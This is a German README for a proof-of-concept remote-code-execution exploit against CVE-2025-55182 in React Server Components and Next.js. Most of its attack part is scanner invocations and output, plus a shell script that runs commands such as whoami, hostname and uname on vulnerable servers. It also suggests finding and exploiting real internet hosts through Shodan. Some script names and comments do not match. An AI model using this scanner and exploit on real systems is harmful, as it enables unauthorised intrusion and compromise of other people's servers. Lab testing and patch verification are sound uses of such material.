
Proof-of-concept-Exploit für die CVE-2025-55182 (React2Shell) RCE-Sicherheitslücke in React Server Components. Enthält einen Scanner für verwundbare Hosts und ein Shell-Skript zur Remote-Befehlsausführung. Nur für autorisierte Sicherheitstests und zu Bildungszwecken.
CVE-2025-55182, auch bekannt als React2Shell, ist eine schwerwiegende Remote Code Execution (RCE)-Schwachstelle, die React Server Components (RSC) betrifft. Sie nutzt das Flight-Protokoll zur Kommunikation zwischen Client und Server. Wenn der Client Daten anfordert, empfängt der Server einen Payload, analysiert diesen und ermöglicht es einem Angreifer möglicherweise, schädliche Strukturen oder beliebigen Code einzuschleusen, den React als gültig akzeptiert.
| Kategorie | Inhalt |
|---|---|
| Schweregrad | Critical (CVSS 10.0) |
| Typ | Unsafe Deserialization (CWE-502) |
| Angriffsmethode | Remote, keine Authentifizierung erforderlich |
| Betroffene Versionen: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 und Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
Der Server verarbeitet Payloads vom Client ohne ausreichende Validierung, was einem Angreifer Folgendes ermöglicht:
Ausnutzungsaktivitäten im Zusammenhang mit dieser Schwachstelle wurden seit dem 5. Dezember 2025 beobachtet. Die meisten erfolgreichen Ausnutzungen stammen von Bewertungen durch Angriffsgruppen. Sowohl Windows- als auch Linux-Umgebungen sind betroffen.
Installation
pip install -r requirements.txt
Scannen eines anfälligen Servers:
python3 scanner.py -u https://example.com
Geben Sie den zu scannenden Pfad ein (hier gebe ich meinen anfälligen Server ein: http://192.168.10.1:3000)
Erhaltenes Ergebnis:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
Scannen einer Hostliste:
python3 scanner.py -l hosts.txt
Multithreaded scannen und Ergebnisse speichern:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Scannen mit benutzerdefinierten Headern:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Windows-Ziele scannen:
python3 scanner.py -u https://example.com --windows
Sicheren Nebenkanal-Erkennungsmodus verwenden:
python3 scanner.py -u https://example.com --safe-check
Wie Sie sehen, liegt eine Sicherheitslücke vor, was bedeutet, dass der von uns bereitgestellte Server anfällig für Angriffe ist.
Jetzt verwenden wir Nuclei, um zu prüfen, ob der Server eine Schwachstelle mit einem POC aufweist. Diese Funktion sendet benutzerdefinierte Anfragen, reduziert Fehlalarme (False Positives) und unterstützt paralleles Scannen.
nuclei -t scan.yaml -u http://192.168.10.1:3000
Erzieltes Ergebnis:
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
Das System hat erkannt, dass dieser Server anfällig ist und durch die Schwachstelle CVE-2025-55182 ausgenutzt werden kann. Und daran sehen Sie, dass es sich um eine ziemlich gefährliche und wichtige Schwachstelle handelt, zu der es viele POCs auf Social-Media-Plattformen gibt. ☺☺☺
Sie können sehen, dass diese Informationen ausreichen, um die Existenz der Sicherheitslücke in der obigen Anwendung zu bestätigen. Um zu beweisen, dass diese Anwendung zum Ausführen eines Befehls oder zur Remote-Code-Ausführung missbraucht werden kann, beginne ich mit dem PoC.
chmod +x scanner.sh
# Prüfen, ob das Ziel anfällig ist
./datscan.sh -d example.com
# Befehl ausführen, um aktuellen Benutzer zu prüfen
./datscan.sh -d example.com -c "whoami"
# With full URL
./datscan.sh -d example.com -c "uname -a"
Bedeutung:
Gibt den aktuellen Benutzer zurück, der den Serverprozess ausführt
Hilft bei der Bestimmung:
=> Dies ist der grundlegendste Befehl, um eine erfolgreiche RCE zu bestätigen
-d, --domain - domain/URL-c, --command - Auszuführender Befehl (z.B. whoami, hostname,...)# Prüfen des Hostnamens
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Betriebssystemversion ermitteln
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Prüfen, ob die Befehlsausführung stabil funktioniert
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
Dies ist der Schritt der initialen Reconnaissance nach erfolgreicher Ausnutzung.
Hilft uns zu bestätigen: RCE funktioniert, Betriebssystem identifizieren,...
Da ich diese Demonstration in einer persönlichen Laborumgebung durchführe, um rechtliche Konsequenzen zu vermeiden, kann die Verwendung von HTTP-Headern zum Datendiebstahl, große Ausgaben oder Sonderzeichen Folgendes verursachen:
ERR_INVALID_CHAR
Kurze Befehle (z.B. whoami, ver) sind zuverlässiger für die Veranschaulichung in der obigen Testumgebung.
Wenn Sie das nicht möchten, können Sie Shodan verwenden, um direkt IP-Adressen in der realen Umgebung zu überprüfen und wie in meinem obigen Experiment auszunutzen (nicht empfohlen).
Wie oben erwähnt. Dieses Tool dient nur zu Bildungszwecken und autorisierten Sicherheitstests. Verwenden Sie dieses Tool nicht zum Testen von Systemen, die Sie nicht besitzen oder für die Sie keine Testberechtigung haben.
| Bedeutung der ausgeführten Befehle | Inhalt |
|---|
| Gibt den Hostnamen zurück | Verwendung: - Identifikation des betroffenen Systems - Unterstützung von Lateral Movement (in internen Umgebungen) |
| Ermittelt die Betriebssystemversion | Wichtig für: - Bewertung der weiteren Ausnutzbarkeit (Privilege Escalation) - Auswahl des geeigneten Exploits |
| Prüft die Befehlsausführung | Dient zum Debuggen von Payload/Scanner |
| Gibt den aktuellen Benutzernamen zurück | In diesem Fall: - Benutzer ist ADMIN → möglicherweise hohe Rechte - Wichtiger als whoami in einigen Windows-Fällen |
| Gibt den Hostnamen zurück | Gibt den Hostnamen über eine Umgebungsvariable zurück |